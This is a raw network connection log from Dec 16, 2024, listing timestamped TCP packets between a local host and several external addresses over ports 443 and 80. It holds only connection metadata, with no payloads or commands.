Dec 16, 2024 15:01:21.747883081 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.747899055 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.783561945 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.783638954 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.783658981 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.783719063 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.808984041 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.809042931 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.809077024 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.809092999 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.809120893 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.809143066 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.834378958 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.834410906 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.834496021 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.834526062 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.834558964 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.834583044 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.850722075 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.850769997 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.850801945 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.850811958 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.850850105 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.850866079 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.869666100 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.869720936 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.869750023 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.869785070 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.869801044 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.869827032 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.888442993 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.888489008 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.888515949 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.888526917 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.888551950 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.888564110 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.905196905 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.905253887 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.905283928 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.905292034 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.905333042 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.921727896 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.921752930 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.921789885 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.921802044 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.921835899 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.921858072 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.934921026 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.934942961 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.934983015 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.934994936 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.935023069 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.935041904 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.949153900 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.949187994 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.949258089 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.949275970 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.949290991 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.949309111 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.961019039 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.961075068 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.961143017 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.961157084 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.961167097 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.961189985 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.972424984 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.972471952 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.972508907 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.972517967 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.972569942 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.972578049 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.982755899 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.982800007 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.982850075 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.982857943 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.982892036 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.982911110 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.991138935 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.991192102 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.991247892 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.991256952 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:21.991307974 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:21.991307974 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.000761986 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.000822067 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.000878096 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.000890970 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.000917912 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.000947952 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.008074999 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.008128881 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.008198023 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.008210897 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.008244991 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.008264065 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.015307903 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.015398979 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.015425920 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.015435934 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.015496969 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.015506029 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.015549898 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:22.015603065 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.464507103 CET	49747	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:22.464523077 CET	443	49747	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:32.226188898 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:32.226233006 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:32.226469040 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:32.227098942 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:32.227133989 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.443027973 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.443121910 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:34.445851088 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:34.445866108 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.446198940 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.448812962 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:34.448903084 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:34.448913097 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.449310064 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:34.495335102 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.990888119 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.991298914 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.991394043 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:34.991563082 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:34.991580963 CET	443	49782	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:34.991591930 CET	49782	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:50.836617947 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:50.836663961 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:50.836829901 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:50.837498903 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:50.837511063 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:53.057207108 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:53.057280064 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:53.060406923 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:53.060427904 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:53.060712099 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:53.064903021 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:53.064903021 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:53.064932108 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:53.065157890 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:53.107337952 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:53.607237101 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:53.607323885 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:53.607481003 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:53.624815941 CET	49823	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:53.624841928 CET	443	49823	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:04.634283066 CET	49856	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:04.754141092 CET	80	49856	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:04.754230976 CET	49856	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:04.758857012 CET	49856	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:04.879261017 CET	80	49856	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:06.114967108 CET	80	49856	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:06.115602016 CET	49856	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:07.620980978 CET	49856	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:07.621407986 CET	49865	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:07.741254091 CET	80	49865	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:07.741343021 CET	49865	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:07.741519928 CET	80	49856	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:07.741559029 CET	49865	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:07.741585016 CET	49856	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:07.861701012 CET	80	49865	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:09.136394978 CET	80	49865	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:09.136470079 CET	49865	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:09.141104937 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:09.347924948 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:09.348088026 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:09.348439932 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:09.470225096 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691071033 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691134930 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691147089 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.691148996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691184998 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691198111 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.691215038 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691229105 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691270113 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691282988 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691294909 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691334009 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.691334963 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.691334963 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.691344023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.691354036 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.691493988 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.811113119 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.811152935 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.811194897 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.811194897 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.882966995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.883022070 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.883306980 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.883306980 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.887193918 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.887248039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.887298107 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.887336016 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.895731926 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.895833015 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.895847082 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.896157980 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.904076099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.904172897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.904282093 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.904283047 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.912518024 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.912584066 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.912627935 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.912669897 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.921005964 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.921087027 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.921204090 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.929423094 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.929486990 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.929498911 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.929897070 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.937834978 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.937900066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.937967062 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.937967062 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.946305037 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.946367025 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.946371078 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.946434021 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.954782009 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.954878092 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.954921007 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.954921007 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.962436914 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.962462902 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:10.962548971 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:10.962568998 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.004288912 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.004463911 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.075031042 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.075119972 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.075190067 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.075190067 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.077620029 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.077672005 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.077707052 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.077893019 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.082623005 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.082690001 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.082717896 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.082737923 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.087604046 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.087676048 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.087718010 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.087768078 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.092648983 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.092710018 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.092751026 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.092813015 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.097481966 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.097554922 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.097568989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.097661018 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.102421999 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.102504969 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.102523088 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.102575064 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.107086897 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.107161999 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.107201099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.107323885 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.111972094 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.112020016 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.112119913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.116720915 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.116817951 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.116847992 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.116905928 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.121553898 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.121599913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.121685028 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.121746063 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.126353979 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.126424074 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.126456022 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.126651049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.131258011 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.131297112 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.131337881 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.131392956 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.136030912 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.136141062 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.136177063 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.136177063 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.139918089 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.140012026 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.140039921 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.140081882 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.143707991 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.143760920 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.143800974 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.143856049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.147608995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.147650003 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.147670031 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.147697926 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.151546001 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.151618004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.151654959 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.151860952 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.155318022 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.155396938 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.267725945 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.267755032 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.267834902 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.269371986 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.269511938 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.269581079 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.271771908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.271895885 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.271974087 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.275140047 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.275216103 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.275316954 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.277803898 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.277890921 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.278007030 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.280689001 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.280858994 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.281040907 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.283483028 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.283591986 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.283930063 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.286398888 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.286472082 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.286514997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.287384987 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.289304018 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.289350986 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.289422989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.289483070 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.292103052 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.292222977 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:11.292342901 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:11.294898033 CET	80	49867	185.215.113.16	192.168.2.6
